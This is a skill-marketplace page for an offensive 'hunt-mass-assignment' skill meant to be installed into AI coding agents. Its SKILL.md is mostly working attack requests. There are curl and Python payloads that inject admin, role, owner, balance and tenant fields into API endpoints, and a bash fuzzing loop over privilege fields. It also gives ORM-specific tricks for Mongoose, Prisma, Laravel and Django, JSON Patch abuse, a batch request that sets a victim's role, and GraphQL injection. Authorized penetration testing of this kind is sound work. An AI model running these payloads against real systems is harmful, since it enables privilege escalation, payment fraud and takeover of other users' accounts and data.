Menu
Hunt mass assignment via sensitive field injection and ORM framework exploitation.
The review-first prompt is selected by default. You can switch to a direct command or download a local copy.
Read SKILL.md and any companion files shown by SkillsMP before deciding whether to install.
Install with Codex or Claude Copy this prompt, paste it into Codex, Claude, or another assistant, and let it review the skill page and install it for you.
A direct command skips the review prompt. Inspect the source before running it.
npx skills add https://github.com/uphiago/recon-skills --skill hunt-mass-assignmentThe command stays on one line. Scroll horizontally to inspect it before copying.
Prefer a local copy? Download the files currently available to SkillsMP.
Showing SKILL.md
Full WSTG-aligned web application pentest — 12-phase methodology from information gathering through reporting, with concrete commands, expected outputs, pitfalls, and verification per phase.
Attack SAML SSO via XSW, signature strip, metadata extract.
Use when two or more verified findings may combine into a higher-impact authorized attack path.
Based on SOC occupation classification
| name | hunt-mass-assignment |
| description | Hunt mass assignment via sensitive field injection and ORM framework exploitation. |
| category | redteam |
| version | 1.1.0 |
| revision_date | "2026-07-25T00:00:00.000Z" |
| license | MIT |
| platforms | ["linux"] |
| compatibility | Requires curl, python3 |
| tags | ["redteam","mass-assignment","API","ORM","authorization","field-injection"] |
| related_skills | ["hunt-api-misconfig","hunt-idor","hunt-write-gap"] |
Hunt for mass assignment vulnerabilities where API endpoints blindly bind user-supplied fields to internal objects without allowlisting. Sensitive fields like isAdmin, role, ownerId, plan, tier, balance, and verified can be injected to escalate privileges, bypass payments, or assume ownership of resources.
# Inject sensitive fields into profile update
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "https://target.com/api/user/profile" \
-H "Content-Type: application/json" \
-d '{"name":"test","isAdmin":true,"role":"admin"}'
| Field | Impact |
|---|---|
isAdmin, is_admin, admin | Admin escalation |
role, roles, user_role | Role escalation |
ownerId, user_id, authorId | Resource takeover |
plan, tier, subscription_type | Payment bypass |
balance, credits, wallet | Financial manipulation |
verified, is_verified, email_verified | Verification bypass |
discount, coupon_applied, promo |
| Pricing manipulation |
organizationId, tenantId, teamId | Cross-tenant access |
banned, disabled, suspended | Account state control |
# Dictionary fuzzing on profile endpoint
FIELDS=("isAdmin:true" "role:admin" "is_admin:true" "roles:[\"admin\"]"
"plan:enterprise" "tier:platinum" "balance:999999"
"verified:true" "ownerId:1" "user_id:1" "authorId:1"
"organizationId:1" "teamId:1" "tenantId:1"
"can_manage:true" "permissions:{\"admin\":true}"
"access_level:admin" "group:administrators"
"is_superuser:true" "superuser:1" "staff:true")
for field in "${FIELDS[@]}"; do
key="${field%%:*}"
val="${field#*:}"
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "https://target.com/api/user/profile" \
-H "Content-Type: application/json" \
-d "{\"$key\":$val,\"name\":\"test\"}" \
-w "\n%{http_code} — $key\n" -o /dev/null
done
# Dot-path notation (Mongoose, some ORMs)
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "https://target.com/api/user/profile" \
-d '{"profile.is_admin":true}' \
-H "Content-Type: application/json"
# Bracket notation (PHP frameworks)
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/register" \
-d 'user[name]=test&user[is_admin]=1' \
-H "Content-Type: application/x-www-form-urlencoded"
# Array wrappers (Rails, Laravel)
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "https://target.com/api/user/profile" \
-d '{"user":{"name":"test","admin":true}}' \
-H "Content-Type: application/json"
# Duplicate keys (parser differential)
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "https://target.com/api/user/profile" \
-d '{"name":"test","role":"user","role":"admin"}' \
-H "Content-Type: application/json"
# Django REST Framework — PATCH on nested serializers
requests.patch("https://target.com/api/profile/", json={
"user": {"is_staff": True, "is_superuser": True}
})
# Laravel Eloquent — forceFill bypass
requests.post("https://target.com/api/users", json={
"name": "test", "email": "test@test.com",
"is_admin": 1, "role": "admin"
})
# Mongoose — $set on findByIdAndUpdate
requests.put("https://target.com/api/users/me", json={
"$set": {"role": "admin", "verified": True}
})
# Prisma — connect/create nested relations
requests.post("https://target.com/api/organizations", json={
"name": "test",
"owner": {"connect": {"id": 1}} # takeover existing owner
})
# JSON Patch — add operation with sensitive field
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "https://target.com/api/user/profile" \
-H "Content-Type: application/json-patch+json" \
-d '[{"op":"add","path":"/role","value":"admin"}]'
# JSON Merge Patch — full object replacement
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "https://target.com/api/user/profile" \
-H "Content-Type: application/merge-patch+json" \
-d '{"role":"admin","verified":true}'
# Batch endpoint — per-item auth skipped
curl --max-time 30 --connect-timeout 10 -sk -X PUT "https://target.com/api/users/batch" \
-d '{"users":[{"id":"me","name":"test"},{"id":"VICTIM_ID","role":"admin"}]}'
mutation UpdateProfile {
updateProfile(input: {
name: "test"
role: ADMIN # injected field not in schema
isAdmin: true # injected field
}) {
id
role
}
}
hunt-api-misconfig — Broader API misconfiguration including mass assignment patterns.hunt-idor — Object-level authorization gaps often combined with mass assignment.hunt-write-gap — Endpoints that allow writes without requiring read authentication.